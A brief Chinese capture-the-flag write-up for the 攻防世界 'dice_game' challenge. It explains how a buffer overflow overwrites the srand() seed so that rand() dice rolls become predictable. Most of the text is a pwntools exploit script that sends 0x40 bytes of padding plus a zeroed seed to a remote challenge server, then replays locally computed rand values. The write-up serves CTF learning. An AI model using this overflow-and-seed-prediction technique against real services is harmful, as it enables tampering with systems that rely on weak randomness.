seed的覆盖

这里主要记一下seed的覆盖,srand(seed);v2 = rand() % 6 + 1;其中rand的生成是依靠seed的,我们只要找到seed与输入值之间的偏移将seed修改为我们想要的值,就可以预测rand的生成

这是攻防世界dice_game的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *
p=remote('61.147.171.105','57464')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*b"a"+p64(0) #buf与seed的偏移是0x40
p.sendline(payload)

a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
p.recv()
print(p.recv())
p.sendline(str(i))
p.interactive()